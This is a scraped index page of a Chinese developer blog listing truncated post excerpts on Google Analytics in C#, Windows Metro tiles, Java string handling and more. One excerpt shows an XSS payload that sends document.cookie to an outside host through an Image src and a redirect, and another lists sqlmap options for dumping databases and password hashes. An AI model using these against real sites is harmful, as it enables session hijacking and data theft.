`
baron.unsafe
  • 浏览: 79006 次
社区版块
存档分类
最新评论
文章列表
5.0         Introduction Earlier in this book we have looked at how to read HTML from websites, and how to navigate through websites using GET and POST requests. These techniques certainly offer high performance, but with many websites using cryptic POST data, complex cookie data, and JavaScript rend ...
from http://www.3g-sec.com/thread-1399-1-1.html <html> <head> <script> //第一种GET方式 new Image().src="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie); //第二种GET方式 location.href="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie) ...
Our Sticker Tales game tracks var­i­ous activ­i­ties via Google Ana­lyt­ics using code that grew into our CSharp­An­a­lyt­ics open source project. But we also want to add some sys­tem met­rics that could help us answer other questions: When is it time to exploit fea­tures of an OS update? Do peo­pl ...
只实现了TrackEvent 其他的同理 string CommitUrl = "http://www.google-analytics.com/__utm.gif"; const string UAID = "UA-00000000-0"; public static void TrackEvent(string category, string action, string label) { //存 提交数据的集合 ...
import java.text.SimpleDateFormat; import java.util.Date; /** * 身份证号码,可以解析身份证号码的各个字段,以及验证身份证号码是否有效<br> * 身份证号码构成:6位地址编码+8位生日+3位顺序码+1位校验码 * * @author liuex * */ ...

固定辅助磁贴

if (SecondaryTile.Exists(appbarTileId)) { SecondaryTile secondaryTile = new SecondaryTile(appbarTileId); bool isUnpinned = await secondaryTile.RequestDeleteForSelectionAsync(GetElementRect((FrameworkElement)sender), Windows.UI.Popups.Placement.Above ...
//选择模版 XmlDocument largeTileData = TileUpdateManager.GetTemplateContent(TileTemplateType.TileWidePeekImage01); //添加文字说明 XmlNodeList largetextdata = largeTileData.GetElementsByTagName("text"); XmlNodeList imagedata = largeTileData.GetE ...
这世界上只有一个地方我称作家 There's only one place in the world that i call home, 就是你在的地方 and it's because you're there. 我不想早上醒来的时候看不见你 i'm not waking up another morning without being able to look at you next to me. 我更愿意与你共度一生,而不是孤独的面对这个世界 I would rather share one lifetime with you than face all the ages of this ...

sqlmap 常用参数

-u #注入点 -f #指纹判别数据库类型 -b #获取数据库版本信息 -p #指定可测试的参数(?page=1&id=2 -p “page,id”) -D “” #指定数据库名 -T “” #指定表名 -C “” #指定字段 -s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “xx.log” –resume) –columns #列出字段 –current-user #获取当前用户名称 –current-db #获取当前数据库名称 –users #列数据库所有用户 –passwords #数据库用户所有密码 –privilege ...

Unicode 转码

    博客分类:
  • java
//\u4e2d\u56fd 转码 StringBuffer sb = new StringBuffer(code); int pos; while ((pos = sb.indexOf("\\u")) > -1) { String tmp = sb.substring(pos, pos + 6); sb.replace(pos, pos + 6, Character.toString((char) Integer .parseInt(tmp.substring(2), 16))); } code = sb ...
最近查看了网上很多关于路径问题资料大概总结了一下: Java路径中的空格问题 1、 URLTest.class.getResource("/").getPath();     URLTest.class.getResource("/").getFile();     URLTest.class.getClassLoader().getResource("").getPath();     Thread.currentThread().getContextClassLoader().getResource("").g ...
\r\n textarea里的换行符 去除换行符 temp = temp.replace("\r\n", ""); ============Java中的换行符============ \n 回车(\u000a) \t 水平制表符(\u0009) \b 空格(\u0008) \r 换行(\u000d) \f 换页(\u000c) \' 单引号(\u0027) \" 双引号(\u0022) \\ 反斜杠(\u005c) \ddd 三位八进制 \udddd 四位十六进制 /** * Html转换为TextArea文本: ...

metro File IO

Here are some code snips to replace the missing funcionality in System.IO Extracted from the samples at http://code.msdn.microsoft.com/windowsapps Common code: using System.Threading.Tasks; using Windows.Storage; string filename = "sample.txt" StorageFolder storageFolder = KnownFolders.D ...

CSS 选择器

...
前几天一个朋友说未来的梦想是加入一家国际顶尖的VC,但是难度很大,所以很烦恼。我问为什么要去顶尖的VC呢?答曰:“可以认识头脑聪颖的年轻人,可以接触行业前沿的想法,可以参与一个企业的成长、分享其成功”。 可是我纳闷了,即使是本土的VC,也可以让你认识头脑聪颖的年轻人、接触行业前沿的想法、参与一个企业的成长、分享其成功啊,为什么一定要顶尖的国际VC呢?甚至当个自由的天使投资人也可以做到这三点啊,不要忘了连Google、Yahoo、Facebook这样的公司,最初的资金也都是来源于天使投资人。硅谷的很多天使投资人,其名望远远超过那些给顶尖VC打工的各类投资经理们。 所以只要去当天使投资人,就可以 ...
Global site tag (gtag.js) - Google Analytics